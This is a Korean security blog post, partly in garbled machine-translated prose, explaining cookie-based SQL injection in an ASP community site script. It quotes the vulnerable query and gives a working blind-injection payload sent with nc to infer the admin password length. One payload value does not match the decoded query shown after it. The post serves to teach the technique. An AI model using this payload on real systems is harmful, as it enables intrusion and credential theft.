보안세상
쿠키 SQL인젝션(cookie sql injection) 본문
보통 DBMS에서 SQL injection 취약점이 존재하지만, Cookies에서도 SQL 인젝션을 구현할 수 있다.
http://xmcn.com/city의 개발의 1세트의 개방의 소스코드의 지역사회 절차이다; 여개의 문서는 변수가 존재하여 아직 특수 문자를 필터링하지 않기 때문이고, 사용자가 불법으로 침투하여 관리자 비밀번호를 얻는다. 문제 문서는 비교적 많기 때문이고, 여기를 특별히 1개의 간단한 user photo.asp을 골라 가져 해명으로 한다.
user photo.asp 스크립트는 사용자 사진을 올린 것으로 사용자를 검증하여 이미 로그온된 것인지를 체크한다.
if Request.Cookies("NC")=" " or Request.Cookies("NC")="방문객 "then
Response.Write (" 당신은 지역사회 사용자가 아니어서 등록해 주십시오! ")
Response.End
end if
Cookies를 사용할 때 NC 변수 값이 널이거나 "방문객" 사용자인지를 판단한다. 데이타베이스에 대해 이 사용자가 존재하지 않으며 에러를 리턴한다.
set rs=server.createobject("adodb.recordset")
set rs=conn.execute("Select * from HY Where NC='"&Request.Cookies("NC")&"'")
Request.Cookies에게 (" NC" ) 값을 직접 SQL 쿼리로 밀어 넣는 식의 방식으로 Cookies를 통한 SQL injection을 시도할 수 있다.
..... 부분 코드를 생략한다
" width="200" height="150">
공격)
C:/nc -vv 127.0.0.1 80 <1.txt >1.htm ,그 중 127.0.0.1은 Mini 도시 지역사회의 서버 IP 주소이고80은 포트, 1.htm 서버에서 리턴된 결과를 저장하고, 1.txt은 아래 공격코드임.
1.txt 의 내용
GET /mcity/main.asp HTTP/1.0
Host: 127.0.0.1
Cookie: NC=goo%27and%20exists(select%20id%20from%20HY%20where%20len(MM)%3D0%27and%20NC%3D%27admin%27)%20and%20%271;
우리는 Cookies 중의 NC 데이터를 SQL 인젝션을 시도하여 시스템 명령이 실행가능한지를 알아보려고 한다
Select * from HY Where NC='goo'and exists(select id from HY where len(MM)=7 and NC='admin') and '1'
사용자 이름이 admin인 비밀번호 길이는 7글자 인 것을 알 수 있다. 기타 SQL 쿼리문은 위와 같이 구성한다.
'공부' 카테고리의 다른 글
njRAT 분석 (0) | 2015.06.25 |
---|---|
이미 업로드 된 C99 WebShell 찾는 Google 검색( google dorks : backdoored c99) (0) | 2015.06.25 |
흥미로운 내용을 발견했네요,.데이터 마이닝을 위한 확률적 자료구조 (0) | 2015.06.24 |
기초적인 MYSQL 문법들 (0) | 2015.06.24 |
PHP정규표현식 (0) | 2015.06.24 |